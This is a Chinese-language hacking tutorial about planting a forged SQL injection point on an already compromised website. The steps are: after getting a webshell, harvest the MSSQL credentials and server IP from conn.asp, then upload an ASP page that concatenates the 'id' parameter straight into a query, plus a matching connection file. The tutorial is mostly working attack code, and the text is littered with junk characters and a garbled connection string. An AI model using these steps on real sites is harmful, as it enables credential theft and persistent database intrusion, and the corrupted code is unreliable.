首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
2 _ y+ E2 w. S1 ~7 c# mASP/Visual Basic代码$ `, [, O! N" r# }4 B
<!--#include file="xx.asp"--> # ~' N/ \: E' x
<% R! e: K! Z f( l1 j W
set rs=server.createobject("ADODB.recordset") 1 ?: b) u) p% b0 V! [1 t: d I1 S
id = request("id")
1 @1 ~4 m4 C; W" f% qstrSQL = "select * from admin where id=" & id
" K/ `3 L4 l7 a9 E$ B" grs.open strSQL,conn,1,3
5 L5 h% \2 |( [1 ^; S7 o$ o prs.close + f+ {8 x) t9 `" x8 ^& v; K& A9 y
%> * I3 Z/ _2 s T, j- c# |8 k
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!0 Z! H& d6 ?( q7 ?6 W) r8 R
然后就要构造一个连接数据库的文件了,代码如下:
1 p% w2 p) [; t0 Q5 bASP/Visual Basic代码
0 g$ s. d) A2 X<% 0 M- D9 E) s# G4 B
strSQLServerName = "000.000.000.000" '服务器名称或地址
. j3 i5 R g2 {0 S6 G; pstrSQLDBUserName = "sqlname" '数据库帐号 3 X' C# l: q& N6 M, I1 {" [* @7 c
strSQLDBPassword = "sqlpass" '数据库密码
7 R0 k ~% h% C- D9 U" V u7 b9 jstrSQLDBName = "sqldataname" '数据库名称 3 j4 U5 g* x: o0 g4 {9 y f& q$ Q
Set conn = Server.CreateObject("ADODB.Connection") ! g. \7 t. B* @$ ]" x3 p( `0 V
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";" * v8 G8 O" t3 c! e1 U
conn.open strCon 2 Q8 f0 `& o6 x2 b- X
%>
' j7 _( j# B8 b9 J9 l0 Q" s这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
2 s7 C% i0 N) m! @9 p$ `/ H |